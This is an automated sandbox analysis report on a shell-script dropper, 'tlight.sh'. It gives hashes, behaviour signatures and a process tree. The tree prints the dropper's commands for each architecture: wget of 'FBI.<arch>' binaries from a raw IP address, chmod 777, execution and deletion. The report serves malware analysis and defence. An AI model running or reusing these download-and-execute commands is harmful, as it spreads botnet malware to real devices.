Overview

overview

9

Static

static

tlight.sh

ubuntu-18.04-amd64

9

tlight.sh

debian-9-armhf

9

tlight.sh

debian-9-mips

9

tlight.sh

debian-9-mipsel

9

Resubmissions

22-08-2022 17:16

220822-vs7zgsaggj 9

22-08-2022 17:12

220822-vqym2adfh5 9

22-08-2022 05:59

220822-gpy1hsbgdp 9

22-08-2022 02:57

220822-df17qscff9 9

22-08-2022 02:42

220822-c68ttscee5 9

Analysis

  • max time kernel
    0s
  • max time network
    1113s
  • platform
    linux_mipsel
  • resource
    debian9-mipsel-en-20211208
  • resource tags

    arch:mipselimage:debian9-mipsel-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    22-08-2022 02:57

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    tlight.sh

  • Size

    1KB

  • MD5

    894e976a4a3f5e6038168b5c4b78f98d

  • SHA1

    13cd9bc7146037714e546063867353cbb1b6ff03

  • SHA256

    54f9d96c9369f699bff8c8ceae4d6f1376616488696be2d361f8c83034eab238

  • SHA512

    4b3ddf27afd2f04d19d879aedf5e083af6d2511d426b6a9ce991ffcebaa4013890b6ab473c68c36c25717ced8c7ef4e89765fdd8407adc3b00be44256a0f7571

Score
9/10

Malware Config

Signatures

  • Writes file to system bin folder 1 TTPs 1 IoCs
  • Reads runtime system information 1 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/tlight.sh
    /tmp/tlight.sh wget "http://37.44.238.187/tlight.sh;chmod" 777 tlight.sh
    1⤵
    • Writes file to tmp directory
    PID:327
    • /bin/cp
      cp /bin/busybox /tmp/
      2⤵
      • Writes file to system bin folder
      • Reads runtime system information
      • Writes file to tmp directory
      PID:329
    • /usr/bin/wget
      wget http://37.44.238.187/FBI.i486
      2⤵
        PID:334
      • /bin/chmod
        chmod 777 FBI.i486
        2⤵
          PID:336
        • ./FBI.i486
          ./FBI.i486 tlight.i486.wget
          2⤵
            PID:337
          • /bin/rm
            rm -rf FBI.i486
            2⤵
              PID:338
            • /usr/bin/wget
              wget http://37.44.238.187/FBI.x86_64
              2⤵
                PID:339
              • /bin/chmod
                chmod 777 FBI.x86_64
                2⤵
                  PID:341
                • ./FBI.x86_64
                  ./FBI.x86_64 tlight.x86_64.wget
                  2⤵
                    PID:342
                  • /bin/rm
                    rm -rf FBI.x86_64
                    2⤵
                      PID:344
                    • /usr/bin/wget
                      wget http://37.44.238.187/FBI.i586
                      2⤵
                        PID:345
                      • /bin/chmod
                        chmod 777 FBI.i586
                        2⤵
                          PID:347
                        • ./FBI.i586
                          ./FBI.i586 tlight.i586.wget
                          2⤵
                            PID:348
                          • /bin/rm
                            rm -rf FBI.i586
                            2⤵
                              PID:349
                            • /usr/bin/wget
                              wget http://37.44.238.187/FBI.i686
                              2⤵
                                PID:350
                              • /bin/chmod
                                chmod 777 FBI.i686
                                2⤵
                                  PID:352
                                • ./FBI.i686
                                  ./FBI.i686 tlight.i686.wget
                                  2⤵
                                    PID:353
                                  • /bin/rm
                                    rm -rf FBI.i686
                                    2⤵
                                      PID:355
                                    • /usr/bin/wget
                                      wget http://37.44.238.187/FBI.mips
                                      2⤵
                                        PID:356
                                      • /bin/chmod
                                        chmod 777 FBI.mips
                                        2⤵
                                          PID:358
                                        • ./FBI.mips
                                          ./FBI.mips tlight.mips.wget
                                          2⤵
                                            PID:359
                                          • /bin/rm
                                            rm -rf FBI.mips
                                            2⤵
                                              PID:361
                                            • /usr/bin/wget
                                              wget http://37.44.238.187/FBI.mipsel
                                              2⤵
                                                PID:362
                                              • /bin/chmod
                                                chmod 777 FBI.mipsel
                                                2⤵
                                                  PID:364
                                                • ./FBI.mipsel
                                                  ./FBI.mipsel tlight.mipsel.wget
                                                  2⤵
                                                    PID:365
                                                  • /bin/rm
                                                    rm -rf FBI.mipsel
                                                    2⤵
                                                      PID:366
                                                    • /usr/bin/wget
                                                      wget http://37.44.238.187/FBI.arm
                                                      2⤵
                                                        PID:367
                                                      • /bin/chmod
                                                        chmod 777 FBI.arm
                                                        2⤵
                                                          PID:369
                                                        • ./FBI.arm
                                                          ./FBI.arm tlight.arm.wget
                                                          2⤵
                                                            PID:370
                                                          • /bin/rm
                                                            rm -rf FBI.arm
                                                            2⤵
                                                              PID:372
                                                            • /usr/bin/wget
                                                              wget http://37.44.238.187/FBI.arm5
                                                              2⤵
                                                                PID:373
                                                              • /bin/chmod
                                                                chmod 777 FBI.arm5
                                                                2⤵
                                                                  PID:375
                                                                • ./FBI.arm5
                                                                  ./FBI.arm5 tlight.arm5.wget
                                                                  2⤵
                                                                    PID:376
                                                                  • /bin/rm
                                                                    rm -rf FBI.arm5
                                                                    2⤵
                                                                      PID:378
                                                                    • /usr/bin/wget
                                                                      wget http://37.44.238.187/FBI.arm6
                                                                      2⤵
                                                                        PID:379
                                                                      • /bin/chmod
                                                                        chmod 777 FBI.arm6
                                                                        2⤵
                                                                          PID:381
                                                                        • ./FBI.arm6
                                                                          ./FBI.arm6 tlight.arm6.wget
                                                                          2⤵
                                                                            PID:382
                                                                          • /bin/rm
                                                                            rm -rf FBI.arm6
                                                                            2⤵
                                                                              PID:384
                                                                            • /usr/bin/wget
                                                                              wget http://37.44.238.187/FBI.arm7
                                                                              2⤵
                                                                                PID:385
                                                                              • /bin/chmod
                                                                                chmod 777 FBI.arm7
                                                                                2⤵
                                                                                  PID:387
                                                                                • ./FBI.arm7
                                                                                  ./FBI.arm7 tlight.arm7.wget
                                                                                  2⤵
                                                                                    PID:388
                                                                                  • /bin/rm
                                                                                    rm -rf FBI.arm7
                                                                                    2⤵
                                                                                      PID:390
                                                                                    • /usr/bin/wget
                                                                                      wget http://37.44.238.187/FBI.ppc
                                                                                      2⤵
                                                                                        PID:391
                                                                                      • /bin/chmod
                                                                                        chmod 777 FBI.ppc
                                                                                        2⤵
                                                                                          PID:393
                                                                                        • ./FBI.ppc
                                                                                          ./FBI.ppc tlight.ppc.wget
                                                                                          2⤵
                                                                                            PID:394
                                                                                          • /bin/rm
                                                                                            rm -rf FBI.ppc
                                                                                            2⤵
                                                                                              PID:396
                                                                                            • /usr/bin/wget
                                                                                              wget http://37.44.238.187/FBI.m68k
                                                                                              2⤵
                                                                                                PID:397
                                                                                              • /bin/chmod
                                                                                                chmod 777 FBI.m68k
                                                                                                2⤵
                                                                                                  PID:399
                                                                                                • ./FBI.m68k
                                                                                                  ./FBI.m68k tlight.m68k.wget
                                                                                                  2⤵
                                                                                                    PID:400
                                                                                                  • /bin/rm
                                                                                                    rm -rf FBI.m68k
                                                                                                    2⤵
                                                                                                      PID:401
                                                                                                    • /usr/bin/wget
                                                                                                      wget http://37.44.238.187/FBI.sh4
                                                                                                      2⤵
                                                                                                        PID:402
                                                                                                      • /bin/chmod
                                                                                                        chmod 777 FBI.sh4
                                                                                                        2⤵
                                                                                                          PID:404
                                                                                                        • ./FBI.sh4
                                                                                                          ./FBI.sh4 tlight.sh4.wget
                                                                                                          2⤵
                                                                                                            PID:405
                                                                                                          • /bin/rm
                                                                                                            rm -rf FBI.sh4
                                                                                                            2⤵
                                                                                                              PID:407

                                                                                                          Network

                                                                                                          MITRE ATT&CK Enterprise v6

                                                                                                          Replay Monitor

                                                                                                          Loading Replay Monitor...

                                                                                                          Downloads